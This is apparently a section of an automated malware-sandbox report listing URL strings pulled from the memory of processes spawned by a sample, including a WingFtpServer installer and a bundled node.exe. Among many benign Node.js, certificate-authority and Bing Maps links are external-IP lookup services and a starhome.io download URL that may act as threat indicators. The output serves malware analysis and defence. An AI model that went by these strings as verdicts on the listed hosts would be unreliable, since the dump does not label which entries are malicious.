Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Over
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Sobre
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/sQ
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myexternalip.com/raw
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://myexternalip.com/rawP
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myip.dnsomatic.com/
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://myip.dnsomatic.com/9
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://narwhaljs.org)
Source: wns22DB.tmp, 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, wns22DB.tmp, 00000014.00000000.348371359.000000000040A000.00000008.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es6
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/XrWf
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/i
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tnx.nl/ip
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tnx.nl/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://trackip.net/ip
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://trackip.net/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://trackip.net/ipL
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://userguide.icu-project.org/strings/properties
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://whatismyip.akamai.com/
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://whatismyip.akamai.com/8
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://whatismyip.akamai.com/9
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.3waylabs.com/nw/WWW/products/wizcon/vt220.html
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.adilyildiz.com.tr%1
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: svchost.exe, 00000009.00000002.311253224.000001D5F9613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/(f
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: WingFtpServer.exe, 0000000E.00000003.314208758.000000007F6C0000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000000.327122347.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.midnight-commander.org/browser/lib/tty/key.c
Source: node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: WingFtpServer.exe, 0000000E.00000003.314208758.000000007F6C0000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000000.327122347.0000000000401000.00000020.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://www.squid-cache.org/Doc/config/half_closed_clients/
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://bugs.chromium.org/p/v8/issues/detail?id=6593
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=25916
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#clear
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#console-namespace
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#count-map
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#countreset
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://console.spec.whatwg.org/#table
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://crbug.com/v8/7848
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://cs.chromium.org/chromium/src/v8/tools/SourceMap.js?rcl=dd10454c1d
Source: svchost.exe, 00000009.00000003.310479327.000001D5F965E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.310649707.000001D5F9647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311417918.000001D5F964E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310667798.000001D5F9641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311380844.000001D5F9642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310667798.000001D5F9641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311380844.000001D5F9642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#Loose_equa
Source: svchost.exe, 00000031.00000003.501712973.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 00000009.00000003.310479327.000001D5F965E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000002.311417918.000001D5F964E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311380844.000001D5F9642000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000009.00000003.288603794.000001D5F9632000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textdecoder
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://encoding.spec.whatwg.org/#textencoder
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://esdiscuss.org/topic/isconstructor#content-11
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.starhome.io/downloads/winapp/latest-
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://files.starhome.io/downloads/winapp/latest-X
Source: node.exe, 00000022.00000003.498828567.000000000E700000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.starhome.io/downloads/winapp/latest-ia32.json
Source: node.exe, 00000022.00000003.488902440.0000000003480000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://files.starhome.io/downloads/winapp/latest-ia32.json2
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://gist.github.com/XVilka/8346728#gistcomment-2823421
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/antirez/linenoise
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/chalk/ansi-regex/blob/master/index.js
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/chalk/supports-color
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/google/caja/blob/master/src/com/google/caja/ses/repairES5.js
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/google/caja/blob/master/src/com/google/caja/ses/startSES.js
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/wiki/Source-Maps
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/isaacs/color-support.
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/joyent/node/issues/3295.
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/mafintosh/end-of-stream
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/mafintosh/pump
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node-v0.x-archive/issues/2876.
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/ec2822adaad76b126b5cccdeaa1addf2376c9aa6
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/10673
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/13435
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2006
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/2119
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/issues/3392
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12342
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/12607
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/13870#discussion_r124515293
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/1771#issuecomment-119351671
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/21313
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/26334.
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30380#issuecomment-552948364
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/30958
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/3394
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/nodejs/node/pull/34375
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.488902440.0000000003480000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.546278679.000000000019A000.00000004.00000010.00020000.00000000.sdmp, node.exe, 00000022.00000002.622984101.0000000036980000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000003.498828567.000000000E700000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/got)
Source: node.exe, 00000022.00000002.622984101.0000000036980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/got)9
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sindresorhus/got)H
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/standard-things/esm/issues/821.
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/tc39/ecma262/issues/1209
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/tc39/proposal-ses/blob/e5271cc42a257a05dcae2fd94713ed2f46c08620/shim/src/freeze.j
Source: node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://github.com/v8/v8/blob/d6ead37d265d7215cf9c5f768f279e21bd170212/src/js/prologue.js#L152-L156
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://goo.gl/t5IS6M).
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#define-the-operations
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-class-string
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-default-iterator-object
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#dfn-iterator-prototype-object
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-interfaces
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterable-entries
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-iterators
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-namespaces
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-operations
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://heycam.github.io/webidl/#es-stringifier
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#ascii-serialisation-of-an-origin
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/webappapis.html#windoworworkerglobalscope
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://invisible-island.net/ncurses/terminfo.ti.html#toc-_Specials
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://linux.die.net/man/1/dircolors).
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://mathiasbynens.be/notes/javascript-encoding
Source: node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://no-color.org/
